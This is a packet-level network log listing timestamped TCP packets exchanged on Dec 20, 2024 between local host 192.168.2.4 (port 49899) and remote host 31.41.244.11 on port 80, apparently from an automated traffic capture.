Dec 20, 2024 09:12:58.632406950 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.634289980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.634371042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.634397984 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.634458065 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.636368990 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.636420965 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.636487007 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.636538982 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.638484001 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.638542891 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.638550043 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.638628960 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.640580893 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.640676022 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.640693903 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.640815973 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.642584085 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.642647028 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.642682076 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.642744064 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.644632101 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.644684076 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.644927025 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.644969940 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.646683931 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.646770954 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.646877050 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.646960020 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.648660898 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.648762941 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.648766994 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.648814917 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.650782108 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.650891066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.650914907 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.650985956 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.652637005 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.652693033 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.652735949 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.652834892 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.654603958 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.654654980 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.654695988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.654695988 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.656609058 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.656663895 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.656728029 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.656841040 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.658592939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.658642054 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.658690929 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.658747911 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.660582066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.660636902 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.660729885 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.660794973 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.662590027 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.662632942 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.662693024 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.662729025 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.664597988 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.664669037 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.664691925 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.664791107 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.666604996 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.666656971 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.666659117 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.666759968 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.668572903 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.668626070 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.668682098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.668682098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.670572042 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.670676947 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.670692921 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.670741081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.672624111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.672715902 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.672739983 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.672806978 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.674550056 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.674604893 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.674631119 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.674719095 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.676559925 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.676623106 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.676711082 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.677438021 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.678534031 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.678663969 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.678668976 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.678735971 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.680587053 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.680670023 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.680732965 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.680881977 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.682507992 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.682626009 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.682723999 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.684499979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.684618950 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.684626102 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.684679031 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.686500072 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.686613083 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.686645985 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.686784983 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.688487053 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.688560963 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.688776970 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.688839912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.690552950 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.690643072 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.690704107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.690787077 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.692528963 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.692665100 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.692724943 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.694452047 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.694509983 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.694569111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.694632053 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.696460009 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.696588993 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.696599960 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.696734905 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.698450089 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.698558092 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.698591948 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.698657990 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.700423956 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.700602055 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.700680971 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.702415943 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.702522039 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.702586889 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.702656984 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.704451084 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.704540968 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.704613924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.706541061 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.706614971 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.706634998 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.706731081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.708383083 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.708501101 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.708524942 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.708565950 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.710639000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.710699081 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.710848093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.710927963 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.712430000 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.712588072 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.712598085 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.712658882 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.714364052 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.714493990 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.714692116 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.716376066 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.716543913 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.716675043 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.718327999 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.718424082 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.718441963 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.718511105 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.720324039 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.720387936 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.808842897 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.808892965 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.808949947 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.808949947 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.809459925 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.809529066 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.809612989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.809672117 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.811085939 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.811197996 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.811213017 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.811300993 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.812609911 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.812745094 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.812788010 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.812902927 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.814189911 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.814306021 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.814341068 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.814404011 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.815758944 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.815891027 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.816028118 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.817284107 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.817437887 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.817476034 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.817609072 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.818797112 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.818917036 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.819034100 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.820352077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.820388079 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.820408106 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.820437908 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.821794987 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.821892023 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.821964979 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.823215008 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.823285103 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.823302984 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.823354006 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.824656963 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.824729919 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.824815989 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.825119019 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.826127052 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.826209068 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.826267004 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.826423883 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.827526093 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.827675104 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.827718973 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.828969955 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.829031944 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.829066992 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.829122066 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.830750942 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.830811024 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.830821037 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.830866098 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.831895113 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.831964016 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.832001925 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.832072973 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.833107948 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.833221912 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.833230972 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.833339930 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.834568977 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.834641933 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.834683895 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.834753990 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.836303949 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.836378098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.836538076 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.837461948 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.837583065 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.837670088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.838635921 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.838731050 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.838746071 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.838814974 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.839993954 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.840075970 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.840146065 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.840331078 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.841217041 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.841294050 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.841329098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.841378927 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.842529058 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.842592001 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.842601061 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.842792034 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.843877077 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.843976021 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.844048977 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.845165014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.845237017 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.845277071 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.845329046 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.846472979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.846596956 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.846713066 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.847785950 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.847840071 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.847846985 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.847887993 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.849111080 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.849134922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.849206924 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.850423098 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.850521088 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.850644112 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.850810051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.851756096 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.851819992 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.851854086 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.851907969 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.853065014 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.853147030 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.853147030 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.853198051 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.854350090 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.854430914 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.854460001 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.854511023 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.855714083 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.855823994 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.855876923 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.856992006 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.857086897 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.857108116 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.857268095 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.858289957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.858409882 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.858458042 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.859620094 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.859709978 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.859738111 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.859792948 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.860927105 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.860996008 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.861114979 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.861196041 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.862272024 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.862356901 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.862363100 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.862413883 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.863565922 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.863645077 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.863663912 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.863775015 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.864851952 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.864909887 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.864964962 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.865020990 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.866189957 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.866240978 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.866298914 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.866436005 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.867513895 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.867647886 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.867671013 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.867707014 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.868820906 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.868927956 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.868962049 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.869050980 CET	49899	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:58.870218992 CET	80	49899	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:58.870345116 CET	80	49899	31.41.244.11	192.168.2.4
